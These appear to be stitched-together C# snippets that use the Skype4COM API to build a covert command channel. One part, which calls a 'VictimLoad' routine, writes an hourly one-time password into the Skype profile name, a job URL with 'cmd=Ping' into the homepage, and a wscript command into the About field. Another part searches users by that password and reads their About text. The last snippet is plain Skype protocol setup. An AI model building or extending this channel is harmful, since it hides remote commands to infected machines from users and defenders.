private void Form1_Load(object sender, EventArgs e) { //We can change the initial_seed if we want seed = initial_seed; SKYPE4COMLib.ApplicationStream oApplicationStream = new SKYPE4COMLib.ApplicationStream(); SKYPE4COMLib.TUserStatus cUserStatus_Offline = oSkype.Convert.TextToUserStatus("OFFLINE"); SKYPE4COMLib.TUserStatus cUserStatus_Online = oSkype.Convert.TextToUserStatus("ONLINE"); GenOneTimePasswordStack(24); if (!oSkype.Client.IsRunning) { try { oSkype.Client.Start(true, true); } catch (Exception ex) { MessageBox.Show(ex.Message); } } System.Threading.Thread.Sleep(3000); try { oSkype.Attach(5, true); oApplication = oSkype.get_Application("SSD"); if (oApplication != null) { oApplication.Create(); } MyThread = new Thread(new ThreadStart(StartScheduler)); MyThread.Start(); if (OTPTable.Count > 0) { //string fName = oPasswd.Pop().ToString(); DateTime dtt = DateTime.Now; //MessageBox.Show(dtt.Hour.ToString()); string fName = OTPTable[dtt.Hour].ToString(); //MessageBox.Show("OTP = " + fName); //MessageBox.Show("S/KEY " + fName); oSkype.set_Profile("FullName", fName); oSkype.set_Profile("Homepage", "http://www.deathstar.com.br/blog/JobId=33&cmd=Ping"); oSkype.set_Profile("About", "wscript.echo \"ola mamae\""); fName = oSkype.get_Profile("FullName"); MessageBox.Show("FullName " + fName); //MessageBox.Show( } } catch (Exception ex) { MessageBox.Show(ex.Message); } VictimLoad(); }
private void Form1_Load(object sender, EventArgs e) { string AppName; SKYPE4COMLib.Application oApplication = new SKYPE4COMLib.Application(); SKYPE4COMLib.ApplicationStream oApplicationStream = new SKYPE4COMLib.ApplicationStream(); //Dim user As SKYPE4COMLib.User SKYPE4COMLib.TUserStatus cUserStatus_Offline = oSkype.Convert.TextToUserStatus("OFFLINE"); SKYPE4COMLib.TUserStatus cUserStatus_Online = oSkype.Convert.TextToUserStatus("ONLINE"); if (OTPTable.Count > 0) { OTPTable.Clear(); } //One per hour GenOneTimePasswordStack(24); if (!oSkype.Client.IsRunning) { try { oSkype.Client.Start(true, true); } catch (Exception ex) { MessageBox.Show(ex.Message); } } System.Threading.Thread.Sleep(1000); try { oSkype.Attach(5, true); } catch (Exception ex) { MessageBox.Show(ex.Message); } oApplication = oSkype.get_Application("SSD"); if (oApplication != null) { oApplication.Create(); } AppName = oApplication.Name; DateTime dt = DateTime.Now; string sSearch = OTPTable[dt.Hour].ToString(); UserCollection uCol = oSkype.SearchForUsers(sSearch); foreach (User u in uCol) { string uName = u.FullName; string uInfo = u.About; MessageBox.Show(uName + " " + uInfo); } MyThread = new Thread(new ThreadStart(StartScheduler)); MyThread.Start(); MessageBox.Show(sSearch); //MessageBox.Show(AppName); }
/// <summary> /// Initializes the protocol, by setting up event handlers and registering /// our application. /// </summary> private void Initialize() { if (isInitialized) return; synchronizationContext = System.Threading.SynchronizationContext.Current; Application = API.get_Application(ApplicationName); Application.Create(); API._ISkypeEvents_Event_ApplicationStreams += ApplicationStreams; API.ApplicationConnecting += ApplicationConnecting; API.ApplicationReceiving += ApplicationReceiving; isInitialized = true; Logger.Info("Initialized SkypeProtocol"); }